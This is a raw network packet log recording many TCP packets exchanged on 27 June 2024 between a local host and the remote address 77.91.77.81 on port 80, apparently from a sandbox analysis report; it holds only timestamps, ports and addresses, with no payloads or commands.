Jun 27, 2024 19:27:07.736248016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736253023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736259937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736274004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736298084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736421108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736430883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736439943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736452103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736460924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736464024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736476898 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736495972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736644983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736654997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736664057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736675024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736681938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736686945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736706018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736706018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736717939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736728907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736730099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736752987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736840963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736851931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736860991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736881971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736897945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.736964941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736975908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736985922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.736996889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737004995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.737008095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737020016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737027884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.737030029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737042904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737047911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.737054110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737062931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.737067938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737078905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.737085104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.737108946 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760291100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760328054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760339975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760344982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760380030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760380030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760416031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760428905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760440111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760456085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760474920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760478973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760550976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760561943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760571957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760593891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760613918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760674953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760685921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760698080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760709047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760719061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760720015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760742903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760757923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760778904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760812998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760839939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760854006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760878086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760893106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760936975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760947943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760958910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760972023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.760972977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.760993958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.761015892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.789146900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.789185047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.789200068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.789218903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.789252996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.789283037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.789293051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.789302111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.789326906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.789344072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.789351940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.789385080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829030037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829083920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829097033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829158068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829169989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829181910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829195976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829276085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829293013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829310894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829325914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829338074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829374075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829396963 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829428911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829444885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829473972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829487085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829498053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829511881 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829519033 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829598904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829605103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829616070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829626083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829684019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829724073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829735994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829747915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829760075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829761982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829772949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829786062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829792023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829824924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829927921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829941034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829952955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829965115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.829967976 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.829994917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830101967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830113888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830126047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830137968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830147982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830152035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830162048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830171108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830189943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830213070 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830328941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830372095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830461979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830473900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830486059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830497026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830503941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830509901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830523014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830529928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830539942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830544949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830552101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830569983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830594063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830606937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830624104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830636024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830640078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830660105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830661058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830673933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830674887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830688000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830694914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830701113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830712080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830734015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830890894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830902100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830912113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830924034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830936909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830936909 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830950975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.830955982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830971956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.830996990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831177950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831188917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831201077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831212997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831218004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831226110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831238985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831243992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831252098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831260920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831269979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831281900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831286907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831295967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831307888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831311941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831320047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831330061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831334114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831347942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831355095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831382036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831541061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831552982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831563950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831584930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831600904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831743002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831757069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831768990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831782103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831787109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831795931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831808090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831820965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831832886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831834078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831845999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831859112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831860065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831871986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831877947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831885099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.831904888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.831928015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.832063913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.832077026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.832089901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.832099915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.832106113 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.832125902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.855978966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856024981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856034040 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856038094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856069088 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856100082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856105089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856112957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856127024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856138945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856141090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856163025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856185913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856321096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856333017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856343031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856355906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856364012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856368065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856380939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856388092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856393099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856405973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856429100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856513977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856528044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856551886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856573105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856653929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856664896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856676102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856689930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.856693983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856719971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.856741905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.883924007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.883944035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.883955002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.884036064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.884063959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.884083033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.884093046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.884105921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.884119034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.884124041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.884151936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923521996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923568964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923582077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923592091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923634052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923634052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923651934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923666954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923677921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923687935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923693895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923701048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923712015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923743010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923825026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923840046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923850060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923870087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923885107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923907042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.923943996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.923998117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924010992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924021006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924030066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924040079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924041986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924053907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924062967 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924092054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924130917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924141884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924173117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924278975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924293995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924304008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924314976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924320936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924326897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924340010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924350977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924376011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924532890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924546003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924557924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924567938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924576998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.924580097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924591064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.924602032 CEST	80	49721	77.91.77.81	192.168.2.5
